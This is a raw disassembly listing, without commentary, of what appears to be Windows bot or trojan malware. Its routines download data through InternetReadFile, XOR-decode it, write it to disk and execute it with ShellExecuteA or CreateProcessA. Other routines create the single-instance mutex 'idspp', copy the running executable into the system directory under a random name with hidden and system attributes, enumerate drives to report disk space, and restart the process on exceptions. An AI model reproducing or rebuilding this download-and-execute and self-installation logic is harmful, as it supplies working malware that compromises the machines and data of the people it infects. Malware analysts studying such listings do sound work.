		mov	[ebp+var_18], eax
		jz	loc_40C17B
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40BDB6
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42C060
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40BD99
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		add	esp, 14h


loc_40BD99:				; CODE XREF: sub_40BCEF+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		push	[ebp+var_48]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40BDB6:				; CODE XREF: sub_40BCEF+68j
		xor	edi, edi
		call	dword_42104C	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_415DC9
		pop	ecx
		mov	[ebp+var_1C], eax


loc_40BDD0:				; CODE XREF: sub_40BCEF+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43A2B0	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_40BE14
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40C1E1
		pop	ecx
		pop	ecx


loc_40BE14:				; CODE XREF: sub_40BCEF+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_421070	; WriteFile
		cmp	edi, ebx
		jnb	short loc_40BE52
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40BE3C
		mov	eax, [ebp+arg_0]


loc_40BE3C:				; CODE XREF: sub_40BCEF+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_4155D0
		add	esp, 0Ch


loc_40BE52:				; CODE XREF: sub_40BCEF+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40BE5F
		cmp	edi, [ebp+var_3C]
		ja	short loc_40BEA9


loc_40BE5F:				; CODE XREF: sub_40BCEF+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40BE79
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42C014
		jmp	short loc_40BE89
; ---------------------------------------------------------------------------


loc_40BE79:				; CODE XREF: sub_40BCEF+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42BFD0


loc_40BE89:				; CODE XREF: sub_40BCEF+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_43F328
		push	eax
		call	sub_4154E7
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40BDD0


loc_40BEA9:				; CODE XREF: sub_40BCEF+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40BEFE
		cmp	edi, [ebp+var_3C]
		jz	short loc_40BEFE
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42BF88
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		add	esp, 28h


loc_40BEFE:				; CODE XREF: sub_40BCEF+1C4j
					; sub_40BCEF+1C9j
		call	dword_42104C	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_42106C	; CloseHandle
		push	[ebp+var_1C]
		call	sub_415E3D
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40BF88
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40B459
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40BF88
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42BF4C
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		add	esp, 28h


loc_40BF88:				; CODE XREF: sub_40BCEF+241j
					; sub_40BCEF+253j
		cmp	[ebp+var_14], esi
		jz	loc_40C1C8
		cmp	[ebp+var_44], 1
		jz	loc_40C083
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_421660
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_421660
		fstp	[esp+590h+var_590]
		push	offset unk_42BF00
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40C003
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		add	esp, 14h


loc_40C003:				; CODE XREF: sub_40BCEF+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40C1C8
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43A30C	; ShellExecuteA
		cmp	[ebp+var_30], esi
		jnz	loc_40C1C8
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42BEC8
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		add	esp, 24h
		jmp	loc_40C1C8
; ---------------------------------------------------------------------------


loc_40C083:				; CODE XREF: sub_40BCEF+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_421660
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_421660
		fstp	[esp+590h+var_590]
		push	offset unk_42BE74
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40C0EB
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		add	esp, 14h


loc_40C0EB:				; CODE XREF: sub_40BCEF+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_438FBC
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	dword_4210EC	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_40C16D
		call	dword_43A2F8	; WSACleanup
		call	sub_409E15
		push	esi
		call	dword_421114	; ExitProcess


loc_40C16D:				; CODE XREF: sub_40BCEF+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42BE28
		jmp	short loc_40C187
; ---------------------------------------------------------------------------


loc_40C17B:				; CODE XREF: sub_40BCEF+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42BDE8


loc_40C187:				; CODE XREF: sub_40BCEF+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40C1BB
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		add	esp, 14h


loc_40C1BB:				; CODE XREF: sub_40BCEF+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		pop	ecx


loc_40C1C8:				; CODE XREF: sub_40BCEF+29Cj
					; sub_40BCEF+325j ...
		push	[ebp+var_18]
		call	dword_43A3CC	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
sub_40BCEF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C1E1	proc near		; CODE XREF: sub_40BCEF+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40C1FD


loc_40C1ED:				; CODE XREF: sub_40C1E1+1Aj
		mov	dl, byte_42C19C
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40C1ED

locret_40C1FD:				; CODE XREF: sub_40C1E1+Aj
		retn
sub_40C1E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C1FE	proc near		; CODE XREF: sub_40CE55+293Cp
					; sub_40CE55+2A93p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_417709
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40C1FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C218	proc near		; CODE XREF: sub_4063B0+45Dp
					; sub_4063B0+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_43E768
		push	0
		push	edi
		call	sub_415570
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40C23D:				; CODE XREF: sub_40C218+5Bj
					; sub_40C218+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_417260
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_4172E0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40C27B
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40C23D
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40C23D
; ---------------------------------------------------------------------------


loc_40C27B:				; CODE XREF: sub_40C218+4Bj
		dec	esi
		mov	eax, edi


loc_40C27E:				; CODE XREF: sub_40C218+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40C28D
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------


loc_40C28D:				; CODE XREF: sub_40C218+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C218	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C297	proc near		; CODE XREF: sub_40C443+51p
					; sub_40C443+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43A3F8	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_40C2DA
		dec	eax
		jz	short loc_40C2D4
		dec	eax
		dec	eax
		jz	short loc_40C2CE
		dec	eax
		jz	short loc_40C2C8
		dec	eax
		jz	short loc_40C2C2
		dec	eax
		jz	short loc_40C2BC
		mov	eax, offset word_42B7C4
		retn
; ---------------------------------------------------------------------------


loc_40C2BC:				; CODE XREF: sub_40C297+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_40C2C2:				; CODE XREF: sub_40C297+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40C2C8:				; CODE XREF: sub_40C297+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40C2CE:				; CODE XREF: sub_40C297+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40C2D4:				; CODE XREF: sub_40C297+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40C2DA:				; CODE XREF: sub_40C297+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40C297	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2E0	proc near		; CODE XREF: sub_40C328+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43A294
		test	eax, eax
		jz	short loc_40C315
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_40C315:				; CODE XREF: sub_40C2E0+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C328	proc near		; CODE XREF: sub_40AAD1+1F3p
					; sub_40C443+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40C2E0
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C400
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C400
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C400
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_417750
		push	edx
		push	eax
		call	sub_40C218
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_417750
		push	edx
		push	eax
		call	sub_40C218
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_417750
		push	edx
		push	eax
		call	sub_40C218
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40C42F
; ---------------------------------------------------------------------------


loc_40C400:				; CODE XREF: sub_40C328+2Cj
					; sub_40C328+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_4154E7
		add	esp, 18h


loc_40C42F:				; CODE XREF: sub_40C328+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C443	proc near		; CODE XREF: sub_40C515+17p
					; sub_40C515+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40C328
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_415910
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40C4B6
		push	ebx
		push	ebx
		call	sub_40C297
		pop	ecx
		push	eax
		push	offset dword_42C128
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 14h
		jmp	short loc_40C4EA
; ---------------------------------------------------------------------------


loc_40C4B6:				; CODE XREF: sub_40C443+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40C297
		pop	ecx
		push	eax
		push	offset dword_42C0D8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 20h


loc_40C4EA:				; CODE XREF: sub_40C443+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40B16D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C515	proc near		; CODE XREF: sub_40CE55+5216p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40C536
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C443
		add	esp, 10h
		jmp	short loc_40C597
; ---------------------------------------------------------------------------


loc_40C536:				; CODE XREF: sub_40C515+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43A308	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_415DC9
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43A308	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40C58E


loc_40C55A:				; CODE XREF: sub_40C515+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C57D
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C443
		add	esp, 10h


loc_40C57D:				; CODE XREF: sub_40C515+54j
		push	esi
		call	sub_415CF0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40C55A


loc_40C58E:				; CODE XREF: sub_40C515+43j
		push	edi
		call	sub_415E3D
		pop	ecx
		pop	edi
		pop	esi


loc_40C597:				; CODE XREF: sub_40C515+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40C515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59A	proc near		; DATA XREF: sub_40C682+11o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43F534
		call	dword_43A430	; closesocket
		call	sub_41515C
		call	dword_43A2F8	; WSACleanup
		call	dword_43A2F8	; WSACleanup
		mov	ebx, dword_421060
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_415570
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_438FBC
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		jz	short loc_40C65F
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_42106C
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_40C65F:				; CODE XREF: sub_40C59A+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43E7A0
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_421114	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
sub_40C59A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C682	proc near		; CODE XREF: sub_417AF8+C9p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= byte ptr -0E4h
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_40C59A
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	dword_42C190, ebx
		jz	short loc_40C6B8
		call	sub_409F9D


loc_40C6B8:				; CODE XREF: sub_40C682+2Fj
		mov	esi, dword_42104C
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_468818, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_415539
		pop	ecx
		call	sub_4089F2
		push	2
		call	dword_43A444	; SetErrorMode
		push	7530h
		push	offset aIdspp	; "idspp"
		push	ebx
		push	ebx
		call	dword_42112C	; CreateMutexA
		push	eax
		call	dword_421128	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40C70C
		push	1
		call	dword_421114	; ExitProcess


loc_40C70C:				; CODE XREF: sub_40C682+80j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_43A310	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_40CB6C
		cmp	[ebp+var_884], 2
		jnz	loc_40CB66
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_40CB66
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	dword_4210C8	; GetModuleHandleA
		push	eax
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_417348
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_415AC0
		add	esp, 30h
		test	eax, eax
		jnz	loc_40C96F
		cmp	dword_468988, ebx
		mov	esi, offset byte_42C1FC
		jz	short loc_40C807
		push	esi
		xor	edi, edi
		call	sub_415CF0
		sub	eax, 4
		pop	ecx
		jz	short loc_40C807


loc_40C7E4:				; CODE XREF: sub_40C682+183j
		call	sub_415543
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42C1FC[edi], dl
		inc	edi
		call	sub_415CF0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40C7E4


loc_40C807:				; CODE XREF: sub_40C682+152j
					; sub_40C682+160j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C847
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		call	dword_4210F4	; SetFileAttributesA


loc_40C847:				; CODE XREF: sub_40C682+1B1j
		mov	esi, dword_421124
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		xor	edi, edi
		push	eax


loc_40C85E:				; CODE XREF: sub_40C682+213j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_40C897
		call	dword_421088	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40C897
		cmp	eax, 20h
		jz	short loc_40C878
		cmp	eax, 5
		jnz	short loc_40C897


loc_40C878:				; CODE XREF: sub_40C682+1EFj
		push	1
		pop	edi
		push	3A98h
		call	dword_421060	; Sleep
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		jmp	short loc_40C85E
; ---------------------------------------------------------------------------


loc_40C897:				; CODE XREF: sub_40C682+1E0j
					; sub_40C682+1EAj ...
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_409D4F
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	dword_4210F4	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_64]
